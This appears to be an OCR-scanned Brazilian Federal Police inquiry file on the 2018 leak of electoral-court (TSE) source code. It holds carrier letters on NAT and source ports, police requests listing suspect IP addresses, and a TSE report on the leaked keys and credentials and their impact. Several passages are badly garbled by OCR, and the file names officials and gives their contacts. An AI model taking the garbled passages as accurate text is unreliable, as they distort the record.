Santo André, 7 de Maio de 2019. 


NERARIIAA PREIRAS TOS É MENS TRÁS MATE SERA É TI. 


ILMO(A) SR(A) DR(A) DELEGADO(A) DE POLICIA FEDERAL 
VICTOR NEVES FEITOSA CAMPOS "”" ” 
SUPERINTENDENCIA REGIONAL 

BRASILIA/DF 


CT. nº 467148/2019/GRAOP 
Ref.: Ofício Extrajudicial; 3419/2019 


iData do Documento: 18/04/2019 


— JEMO(A) SR(A): DR(A) 
iEm atenção à referência em epigrafe, e em cumprimento ao contido naquele 


(documento, informamos. que-o(s) dP(S).indicádo(s);para pesa úisa:perte ncé(m) aô tange de'4 duto 
- protocolos.de;rede.nateados. equerida(o), motivo pelo qual não foi possível realizar à 
pasquisa. e Canaã AROS , p q ú (6) poss ve raa iZalr ã 


- Cumpre-nos esclarecer que o range do IPv4 atingiu sua capacidade máxima de 
a atribuições;e; para-não haver, a impossibilidade de conexões dos usuários de dispositivos 
n , End do o. na cprkamedis Pc NEE| NAsRORS TS ada + me RU CS RÉ Sul Gy FAN GI O, ATE AM pi 
imóveis, foi desenvolvida uma solução-denominada NAT, (network áddress translation), que 
* permite o compartilhamento do IPv4 por vários usuários ao' mesmo tempo através de 
“portas-lógicas”; diferentes, garantindo que todos Sn ue e terna alo NE 
“ocorra à transição total/ao modelo: IPv6. E da ' Nida SHTGUAMENTS, 
Mn rss AU *eouriauu da pasquisa € indicar um usuário quo não 6 equals 
-— faacado pelns investiaacões, pais. no momonto que à canta sa conpeta fi Intrrcos e 
t+ 372: A -ausência-da -indicação da porta lógica. da conexão ora requerida, inviabiliza a 
frealização da pesquisa, posto que'naquela mesma data, hora e fuso, o IP foi utilizado por: -. 
milhares: de usuários simultaneamente. 


; Decir inrma, auuardaremos n comolomantação dar infrrmachma pri quertiio mera 
1 19 pa: Salientamos, ainda, yque, fornecimento. 'de todos os registros encontrados, 


E co Te dra ueiio quadaras, ra e FI AA A beira gh! 4, Spa a 
independentemente da porta lógica, com a devida vênia, resultará na quebra de sigilo de 
milhares de usuário alheios. aos fatos, vez que, frisa-se, sem a porta lógica não será 
cpossivel. a individualização dos "usuários HE pRTTAPle matt. dl tiliiTat Uaptdo- PO Pei 


a ci ara Sta SEDA LR mi CS ia A aa E o ; 


“ 


acarragtano o Wrerbimadi Sida Sd Cento QU TEÇAM NScessários, 


Desta forma, em que pese estarmos empenhados em executar as pesquisas, é 
imprescindível que o provedor de conteúdo forneça a porta lógica utilizada em cada 
conexão realizada a partir do(s) IP(s) mencionado(s) para que possamos fornecer, de forma 

F inequívoca, os dados cadastrais dos usuários que os utilizaram nas datas e horários 
declinados. , 
- p=, 


Sendo o que nos cumpria para o momento, permanecemos à inteira disposição para 
quaisquer esclarecimentos adicionais que façam necessários: SxAbeaaty EE, 
tao CELULAR S/A 


ATENCIOSAMENTE, 
TIM ZELULAR S/A 


mTIM Brasil 

g:Caixa Postal 91,- CEP 09015 970 
- ssSanto André - SP dido 

4+5511 142516633 

apo ela snes ea 


ara me teca 





E ae ai marra psi id A - 
= ———— - att copa, = tam ao Cia FRA, aaa ae rt 0 A qua q im rampa 2 ja 
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Claro-Brasil 


São Paulo 8 de Junho de 2019 


Embroter 








Ao,Exmo. Sr. Dr. Delegado de Policia da 
MSP - polícia Federal 

Superintendência Regional no Distrito Federal 
Dr. Victor Neves Feitosa Campos 

SAIS Quadra 7 - lote 23 - Setor Policial Sul 
CEP 70610-902 - Brasilia/DF 

ID nº. 19.155590 


Oficio nº: 3418/2018 
IPL 136182018-4 


A Claro S.A., em atenção ao Ofício em epigrafe, vem manifestar-se nos seguintes termos: 


Após buscas em nossa base de dados, a Operadora vem por meio deste esclarecer que os 
endereço de IP (Internet Protocol) 201.81.167.53 e 201.6.129.235 são denominados 
tecnicamente de IP's Network Address Translation (NAT). 


Explica-se: 


Sempre que ocorre uma conexão à internet, o dispositivo a partir do qual a conexão 
ocorreu mantém um registro consistente no endereço de IP de origem do acesso, data e 
hora, assim como o fuso horário, dados esses que compõem o registro de conexão (art. 5º, 
VI do Marco Civil da Internet). 


Tais informações funcionam como identificador de origem dos acessos dos usuários. 


Contudo, em decorrência do crescimento acelerado do uso da internet, a quantidade de 
endereços IP versão 4 — IPV4 (quatro octetos), que identificam univocamente cada 
usuário, se esgotou no ano de 2014. Para solucionar o problema, foi criado novo modelo 
de rede — IPV6, com codificações mais longas e, portanto, maior amplitude de endereços. 
Exemplificativamente, é semelhante ao ocorrido com as linhas telefônicas móveis, o que 
culminou na adição do nono digito no ano de 2016. 


Porém, tendo em vista que este novo modelo de rede não está implementado, em virtude 
da complexidade técnica envolvida, restou às Operadoras, mediante autorização da 
ANATEL e alinhamentos com o grupo de trabalho NIC.br, a utilização provisória do 
protocolo de rede NAT para manutenção da taxa de crescimento da rede. 


O protocolo de rede NAT viabiliza a utilização do mesmo endereço de IP, 
simultaneamente, por um número indeterminado de usuários em conexões de internet. A 


Rua Verbo Divino, 1356, Térreo, Chácara Santo Antônio, CEP 04719-002 São Paulo/SP. 
Er a PASS 





MM 








São Paulo 8 de Junho de 2019 


única forma de distinguir uma conexão da outra — e consequentemente, individualizar 
qual usuário foi responsável pelo acesso à internet — é por meio da Porta Lógica de 
Origem da conexão. 


Desse modo, tratando-se de conexão feita por meio do protocolo NAT, como é o presente 
caso, a única maneira de a Operadora poder individualizar qual o usuário responsável pela 
conexão que se busca é mediante a combinação do número de IP com o número da Porta 
Lógica de Origem. 


Contudo, a Operadora — que é provedora de conexão, na forma do art. 18 do Marco Civil 
da Internet — não dispõe desta segunda informação, pois a obrigação de registro e guarda 
recai exclusivamente sobre o provedor de aplicação, conforme estabelece o art. 15 do 
mesmo diploma legal. Trata-se do site ou aplicação de internet à qual o usuário se 
conectou, como por exemplo, o Google, Facebook etc. 


Diante do exposto, para que a Operadora possa proceder às pesquisas a fim de 
individualizar qual usuário utilizou-se do endereço de IP para a conexão à internet, faz-se 
necessário o fornecimento da Porta Lógica de Origem, a qual deve ser obtida diretamente 
Junto ao provedor de aplicação. 


Assim, requer-se que seja indicado, em novo expediente, o endereço de IP, das portas de 
origem utilizadas em cada conexão, data, horário e o fuso horário, a fim de viabilizar à 
Operadora a busca e o fomecimento das informações requisitadas. 


Por fim, destaca-se que a Operadora armazena os registros de conexão pelo período de 36 
(trinta e seis) meses. 


Sendo o que havia a informar, permanecemos à disposição para qualquer esclarecimento 
adicional, apresentando, desde já, votos de elevada estima e consideração. 





Rua Verbo Divino, 1356, Térreo, Chácara Santo Antônio, CEP 04719-002 São Paulo/SP. 
E SE Ca ES ido 
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24/06/2019 Webmail PF - (2375) Caixa de Entrada 


Assunto: Resposta - TSE. Indisponibilidade. Dados adicionais. SH 
De: Cristiano Moreira Andrade <cristiano.andrade(dtse.jus.br> 
Data: Segunda, Junho 10, 2019 14:41 -03 
Para: campos.vnfe(Ddpf.gov.br <campos.vnfe(Ddpf.gov.br> grec.df(ddpf.gov.br <grec.df(Qdpf.gov.br> 
Cc: Giuseppe Dutra Janino <giuseppe.janino(dtse.jus.br> 
Marcelo Carneiro Rodrigues <marcelo.carneiro(Dtse.jus.br> 
Responder-Para: Cristiano Moreira Andrade <cristiano.andrade(dtse.jus.br> 
Senhores, 


Em atenção ao questionamento sobre evidências que o TSE possua sobre o incidente de setembro/outubro de 2018, 
informamos: 


- O servidor de buiud dos códigos fontes da urna eletrônica não possuía qualquer tipo de log habilitado; 


- Devido a manutenções para solucionar travamentos nos firewall do TSE, a equipe da Global IP realizou reinstalação 
do serviço de gerência, não tendo o devido cuidado de não prejudicar os logs armazenados. Outrossim, o volume de 
logs configurado pela empresa ficou em apenas 80GB, sendo suficiente para apenas 2 dias, considerando-se o volume 
de acessos durante o período eleitoral. 


Assim, informamos que o TSE não possui dados adicionais para repassar à Polícia Federal. 


Respeitosamente, 


Cristiano Moreira Andrade 
Coordenadoria de Infraestrutura 
Secretaria de Tecnologia da Informação 


TRIBUNAL SUPERIOR ELEITORAL 


q 


https://correio.pf.gov.br/SOGo/so/campos.vnfc/Mail/view 111 
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REMESSA 


Ministério Público Federal do DF 





Ao(s, 07/08/2019, faço remessa dos autos do IPL ní 
G &4, contendo 1 volume(s) e O apenso(s). Eu 

|) | LEONARDO BRUCE MADUREIRA LOPES, Escrivão 
de Polícia Federal, 12 Classe, Matrícula nº 17.933, que o lavrei. 
ER é 









IPL Nº 1361/2018 
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MINISTÉRIO PÚBLICO FEDERAL ; 
PROCURADORIA DA REPÚBLICA NO DISTRITO FEDERAL a 
COORDENADORIA JURÍDICA 
DIVISÃO CRIMINAL 


AUTOS: DPF/DF-1361/2018-INQ 
CERTIDÃO 


Certifico que, em 09/08/2019, deram entrada na Procuradoria da República no Distrito Federal os presentes autos e, nesta 
- data, conforme regras estabelecidas no Congresso Interno de 2018 e na Resolução 31/2018, faço sua: 


, 


[X] Movimentação ao(à) Procurador(a) da República, Dr.(a) Igor Nery Figueiredo, 
- O Porsero(a) titular do PRDF- 2º Ofício de CCI, ao qual o presente feito encontra-se distribuído. 
(O Por ser o(a) titular do PRDEF — Oficio de CCI, substituto não designado. 
: atuando no 
acervo do PRDE — 
O Apedido. » 


Brasília, 09/08/2019. - 


Roberto Pompeú - mat 27280-9 
DIVISÃO CRIMINAL 





CERTIDÃO DE REMESSA Ê | A 


Em / t2, OE nois, faço remessa dos presentes autos, contendo as = volume(s) ep. anexo/apenso(s), à (ao) 
[] uistiça Federal/DF 6% Departamento de Polícia Federal [] j 


pã | — Lara /Rotm 


Responsável/Matrícula 
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Ministério Público Federal 


Procuradoria da República no Distrito Federal 
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IPL nº 1361/2018 SR/DPF/DF 


Sr.(a) Delegado(a) de Polícia Federal, 


O presente inquérito não se encontra suficientemente instruído, havendo 


necessidade de prosseguimento das investigações com vistas à formação da opinio delicti. 


Destarte, este órgão ministerial concede novo prazo de 90 (noventa) dias 
para a realização das diligências indispensáveis ao esclarecimento dos fatos sob apuração, 


conforme solicitado à fl. 78. 


Brasília/DF, 12 de agosto de 2019. 








PR/DF | SGAS 604, Lote 23, Av. L2 Sul, Brasília/DF CEP:70200-640 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


IPL nº 1361/2018-4 - SR/PF/DF 
DESPACHO nº 17414/2019 


1. Considerando a resposta da empresa TIM e da empresa Claro, expeça-se ofício ao 
TSE (encaminhe-se cópia ao endereço de emial de fl. 85) solicitando informar as 
portas lógicas das seguintes conexões, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


2. Considerando que ainda restam pendentes diligências tidas por imprescindíveis ao 
esclarecimento da verdade material (art. 4º, do CPP e art. 2º, 81º, da Lei 12.830/2013) 
e considerando as disposições do Provimento/COGER nº 37/2009 (TRF 1º Região), 
remetam-se estes autos ao MPF do DF, para fins de controle externo (Art. 129, VII, 
da CF/88, c/c. o Art. 9º, Il, da LC 75/93), solicitando posterior devolução para 
continuidade das investigações ou, em caso de apresentação de peça acusatória ou 
promoção de arquivamento, comunicação formal da medida adotada a esta 
Superintendência, para fins de registro e baixa em sistemas de controle interno. 


Brasília/DF, 27 de novembro de 2019. 
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SERVIÇO P PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasília/DF - CEP 70.610-902 


Ofício nº 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 06 de janeiro de 2020. 


A Sua Excelência 

Ministra ROSA MARIA PIRES WEBER 

Presidente do Tribunal Superior Eleitoral 

Tribunal Superior Eleitoral - TSE 

Setor de Administração Federal Sul (SAFS) 

Quadra 7, Lotes 1/2, Brasília/DF Lao cuia t 


PA “iza do 


CEP 70070-600 SEE A o ml e 


PA DER PER 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa refêrência na resposta) 


Senhora Ministra, 


Visando instruir os autos do Inquérito Policial nº  1361/2018-4 - 
SR/PF/DF, solicito a Vossa Excelência solicitando informar as portas lógicas das 
seguintes conexões, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor 
CRISTIANO MOREIRA ANDRADE. 


Respeitosamente, 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de/Polícia. Federal 
Classe Especial/- Matrícula nº 16.179 
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necessidade de prosseguimento das investigações com vistas à formação da opinio delicti. 


Com efeito; a autoridade policial, no. despacho de fl. 89, encaminha os autos 


“para nação de prazo, determinando, ainda, a expedição de ofício ao TSE. 


Acolhendo a solicitação da Polícia Federal; este órgão ministerial concede 


novo prazo de 90 (noventa) dias para cumprimento das diligências pendentes, relevantes 


em 09/01/2020 18:39. 


ao esclarecimento dos fatos sob apuração. 


Brasília/DF, data da assinatura eletrônica. 


* IGOR NERY FIGUEIREDO 


Procurador da República 
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SERVIÇO PÚBLI 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 





IPL nº 1361/2018-4 - SR/PF/DF 
DESPACHO nº 2683/2020 
1. Verifique-se se consta em cartório resposta ao ofício de fl. 90. Em caso 


positivo, junte-se. Em caso negativo, reitere-se. 


2. Expeça-se ofício ao TSE, solicitando informar se foi instaurada 
sindicância ou processo administrativo para apurar os fatos relacionados ao Ofício 
5825 GAB-SPR, caso positivo solicita-se que encaminhe cópia do procedimento para 
O] este signatário. 


3. Aguarde-se em cartório resposta aos expedientes supra, observando-se 
o prazo de permanência dos autos no âmbito policial. 


Brasilia/DF, 11 de março de 2020. 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


Ofício nº 2179/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 06 de abril de 2020. 
A Sua Excelência 
Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 
Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 
CEP 70070-600 


Assunto: Reiteração do Ofício nº Ofício nº 0070/2020 - IPL 1361/2018-4 SR/PFIDF 
Ref.: IPL nº 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhora Ministra, 


Visando instruir os autos do Inquérito Policial nº  1361/2018-4 - 
SR/PF/DF, solicito a Vossa Excelência solicitando informar as portas lógicas das 
seguintes conexões, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor 
CRISTIANO MOREIRA ANDRADE. 


Respeitosamente, 





VICTOR NEVES FEITOSA CAMPOS 
Delegado de'Poljcia Federal 
Classe Especial - Matrícula nº 16.179 . 
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SERVIÇO PÚBLICO FEDERAL 

MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


Ofício nº 2180/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 06 de abril de 2020. 
A Sua Excelência 
Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 
Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 
CEP 70070-600 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhora Ministra, 


Visando instruir os autos do Inquérito Policial nº 1361/2018-4 - SR/PF/DF, 
solicito a Vossa Excelência, informar se foi instaurada sindicância ou processo 
administrativo para apurar os fatos relacionados ao Ofício 5825 GAB-SPR, caso 
positivo solicito que encaminhe cópia do procedimento para este signatário. 


Respeitosamente, 






VICTOR NEVES FEIJOSA CAMPOS 
Delegado delPálídia Federal 
Classe Especial ? Matricula nº 16.179 








POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasília/DF 


CERTIDÃO DE DESENTRANHAMENTO 
2020.0043195-SR/PF/DF 


CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de falha no escaneamento do 
IPL (faltando folha). O referido é verdade e dou fé. 


Documento eletrônico assinado em 04/11/2020, às 11h15, por LEONARDO BRUCE MADUREIRA LOPES, 
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A 
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, 
informando o seguinte código verificador: 849a25cfee26191a419099e5c5d7638a05f50485 





POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PE/DE 


DESPACHO Nº 1125040/2020 
2020.0043195-SR/PF/DF 


Considerando os Ofícios de fls. 94 e 95 dos autos fisicos. 


1. 1. Aguarde-se a resposta do ofício de fl. 94. 


2.2. Junte-se a resposta do Ofício de fl. 95, o qual informa a abertura de Comissão de Sindicância e 
documentos 
anexos. 


Brasília/DF, 4 de novembro de 2020. 


Documento eletrônico assinado em 04/11/2020, às 11h17, por LEONARDO BRUCE MADUREIRA LOPES, 
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A 
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, 
informando o seguinte código verificador: 1a7cebcdab4ecd2c92242325b4b1fb291277adb1 





POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasília/DF 


CERTIDÃO DE DESENTRANHAMENTO 
2020.0043195-SR/PF/DF 


CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de erro no escaneamento do 
autos. O referido é verdade e dou fé. 


Documento eletrônico assinado em 04/11/2020, às 11h20, por LEONARDO BRUCE MADUREIRA LOPES, 
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A 
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, 
informando o seguinte código verificador: 47fbb82ableda190e690bed712256a93f61cd5a6 


ga. VIA 
SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 


Ofício GAB-SPR nº 1507/2020 


Brasília, 15 de abril de 2020. 


A Sua Excelência o Senhor 

Delegado de Polícia Federal VICTOR NEVES FEITOSA CAMPOS 
Superintendência Regional no Distrito Federal 

Brasília - DF 


Assunto: : IPL 1361/2018-4 - SR/PF/DF 
Senhor Delegado de Polícia Federal, 


Em atenção ao Ofício nº 2180/2020, informo a Vossa Excelência que, em relação 
aos fatos noticiados por meio do Ofício SPR nº 5825/, de 6.11.2018, foi instaurada 
Comissão de Sindicância, objeto do Procedimento SEI nº 2018.00.000014309-3 (Sigiloso), 
ainda em andamento, conforme cópia em anexo. 


Atenciosamente, 


RICARDO FIOREZE 
Juiz Auxiliar da Presidência 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
“| Documento assinado eletronicamente em 15/04/2020, às 16:12, conforme art. 1º, 82º, III, b, 
da Lei 11.419/2006. 
cen[8] A autenticidade do documento pode ser conferida em 


ui, - https: //seitse.jus.br/sei/controlador externo.php? 
dl 
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11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


do Art. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do $S 1º 


MATRÍCULA: 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 


Si gi IoOSO 

EI. 

SR/PF/DF' 
2020.0043195 


TRIBUNAL SUPERIOR ELEITORAL 


Informação nº 32 STI 
Assunto: Denúncia de acesso indevido de dados relativos aos sistemas 
eleitorais e ao projeto do hardware da UE2018 


Senhor Diretor-Geral, 


1. Trata-se de informar acerca do recebimento de denúncia de acesso indevido 
de dados relativos aos sistemas eleitorais e ao projeto do hardware da UE2018. 
Tal denúncia foi encaminhada por e-mail à Assessoria de Comunicação deste 
Tribunal, a qual solicitou esclarecimentos sobre o teor do e-mail encaminhado 
pelo senhor Felipe Payão, identificado como repórter do portal TecMundo 
(https:/www.tecmundo.com.br/). O conteúdo do e-mail encontra-se nos 
documentos anexos. 


2. Com relação ao conteúdo do arquivo TSE.rar, encaminhado pelo repórter 
(conteúdo impresso anexo), é possível afirmar que: 


2.1. foram incluídas capturas de tela de computador mostrando trechos de 
código-fonte do aplicativo Gedai-UE, de listas de arquivos e também de 
conteúdos de documentos; e 

2.2. foram incluídos arquivos presentes na árvore de código-fonte do Gedai-UE. 


3. Tal conteúdo evidencia o acesso indevido dos seguintes dados: 

3.1. código-fonte completo do Gedai-UE, possivelmente da versão usada nas 
Eleições 2018, porém sem as assinaturas da Cerimônia de Lacração; 

3.2. chaves e credenciais de acesso a servidores usadas pelo Gedai-UE; 

3.3. senhas para oficialização dos sistemas Candidaturas e Horário Eleitoral 
utilizadas para a Eleição Suplementar 2018 de Aperibé/RyJ; 

3.4. manual técnico da impressora de votos desenvolvida pelo FIT/Quattro 
Eletrônica; 

3.5. manual do QR Code do boletim de urna. 


4. Não há evidência de acesso indevido do código-fonte do software da urna - 
Uenux, embora exista a evidência de acesso indevido de código comum entre o 
Gedai-VE e o Uenux. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 


5. Com relação ao material acessado indevidamente, o impacto é o seguinte: 


5.1. o manual do QR Code (item 3.5) já é de domínio público e encontra-se 
publicado na Internet; 

5.2. o manual da impressora de votos (item 3.4) não possui informação sensível, 
uma vez que trata-se da documentação de um protótipo que nunca entrou em 
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Si gi IoSOo 

EI. 

SR/PF/DF' 
2020.0043195 


operação — o seu caráter sigiloso se deve a uma relação contratual entre o FIT e 
a Quattro Eletrônica; 

5.3. as senhas de oficialização (item 3.3) permitem a alteração de dados de 
partidos e candidatos (até mesmo a sua exclusão) no contexto de um processo 
eleitoral (ou seja, no caso concreto afeta somente a Eleição Suplementar 2018 
de Aperibé/RJ); 

5.4 as credenciais de acesso aos servidores usadas pelo Gedai-UVE (item 3.2) 
podem permitir que alguém dentro da intranet da Justiça Eleitoral consiga copiar 
os dados de eleitores e candidatos que alimentam as urnas, mas sem a 
capacidade de adulterá-los; 

5.5. as chaves usadas pelo Gedai-UE (item 3.2) ainda requerem uma análise de 
risco mais detalhada; isso porque parte das chaves são geradas no momento da 
lacração e o acesso indevido diz respeito a material presente no ambiente de 
desenvolvimento —- ou seja, o software lacrado usa chaves diferentes; na 
hipótese de serem as mesmas, existe a possibilidade de manipulação de 
arquivos de configuração que alimentam o software da urna; e 

5.6. o código-fonte do Gedai-UE, acompanhado de seus binários compilados, 
permite a importação de dados oficiais das eleições e carregamento de umas 
com esses dados; contudo, o software de uma utilizado não tem as assinaturas 
oficiais da lacração, o que fica evidenciado pelo LED de segurança da urna e 
pelos procedimentos de verificação de hash e assinatura; também não seria 
possível a geração de um boletim de urna válido para a Totalização a partir 
disso. 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


do Art. 


MATRÍCULA 


6. Diante desse cenário, solicita-se a abertura de inquérito policial junto à Polícia 
Federal para apuração dos fatos. 


7. Outras providências já estão em andamento nesta STI para sanar as 
fragilidades que resultaram nesse acesso indevido, assim como tornar os 
sistemas expostos ainda mais seguros. 


8. Finalmente, alerta-se sobre a necessidade de tramitação urgente deste 
processo. 


É o que informo. 


Brasília, 07 de novembro de 2018. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, í k 
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ENC: TecMundo - Possível acesso ao GEDAI/Documentos 


Assunto: ENC: TecMundo - Possível acesso ao GEDAI/Documentos 

De: Imprensa <imprensaQOtse.jus.br> 

Data: 06/11/2018 13:57 

Para: Rodrigo Carneiro Munhoz Coimbra <rodrigo.coimbraQtse.jus.br> 


Pode nos dar um help? 
Obrigada! 


Leticia 


De: Felipe Payão [mailto:felipe.cruzgruponzn.com)] 

Enviada em: terça-feira, 6 de novembro de 2018 13:47 

Para: Imprensa; silvana.freitasQtre-sp.jus.br 

Assunto: Re: TecMundo - Possível acesso ao GEDAI/Documentos 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


do Art. 


Os arquivos estão no ZIP, como indiquei na ligação. 


Obrigado 


MATRÍCULA: 


Em 6 de novembro de 2018 12:36, Felipe Payão <felipe.cruzia gruponzn.com> escreveu: 
Olá. Tudo bem? 


nos termos do S 1º 


Recebemos alguns documentos e imagens de uma suposta invasão ao sistema GEDAI e outras 
informações sigilosas referentes aos processos do TSE. Antes de uma provável publicação, gostaríamos 
de compartilhar o material com vocês. 


Este seria o melhor canal? 
Obrigado 


ty Felipe Payão 
Repórter 


LEONARDO BRUCE MADUREIRA LOPES, 


re. +55 11] 5083.1018 
ceL +55 11 972827444 
HTTP NZn.io 


Este documento tem o mesmo valor probante do original apresentado, 


Autenticado por Escrivao de Policia Federal, 


“gr Felipe Payão 
Repórter 
NZN 


reL +55 11 5083.1018 
ceu. +55 || 972827444 
HTTP: NZn.io 


nanda Informação nº 32 STI (0905379) SEI 2018.00.000014309-3 / pg. 3 06/11/2018 19:13 
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include <vector> 


/! forward declaration 
namespace api ( 
namespace ini ( 

class CIni; 
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! 
class CConversorTituloRelatorioINI ( 
public: 
HH 
std: :vector<app: :dados: :CTituloRelatorio> Converter(const std: :string & nome, int qtd, 
const api::ini::CIni & properties); 
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ft= az ESSES ==a5== 
void Desconverter(const std::vector<app::dados::CTituloRelatorio> & titulos, const std::string & nome, 


api::ini::CIni & properties); 


private: 


[| ess.sssees.enseoeee 


app: : dados: :CTituloRelatorio: :EAlinhamentoTitulo ConverterAlinhamentoTitulo(int alinhamento); 








Esues== ESIsssrIsnssnzasnscsscssss.==- 








app: :dados: :CTituloRelatorio: :EEstiloTitulo ConverterEstilotitulo(int alinhamento); 
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std: :string DesconverterAlinhamentoTitulo(app:: dados: :CTituloRelatorio: ;EAlinhamentoTitulo alinhamento); 


fi 


std: string Desconverterestitoritulo(apps :dados: sCTituloRelatório: :EEstiloTitulo alinhasento); 
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TRIBUNAL SUPERIOR ELEITORAL 
DESPACHO 


Senhora Presidente, 


Submeto à elevada consideração de Vossa Excelência a Informação nº 32 STI, 
cujo conteúdo foi encaminhado à Polícia Federal para investigação no dia 6 de novembro 
corrente, sugerindo que, paralelamente, os fatos ali narrados sejam apurados, 
administrativamente, por meio de sindicância. 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


Para tanto, apresento, para assinatura, caso acolha seus termos, minuta de 
portaria constituindo comissão de sindicância. 


MATRÍCULA: 


Respeitosamente, 





urado Fleury 





Diretor-Geral 
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TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE nº 976 de 08 de novembro de 2018. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas 
atribuições legais e regimentais, com fundamento no art. 143 da Lei 8.112, de 11 de 
dezembro de 1990, resolve: 


11 da Lei 11.419/2006. 


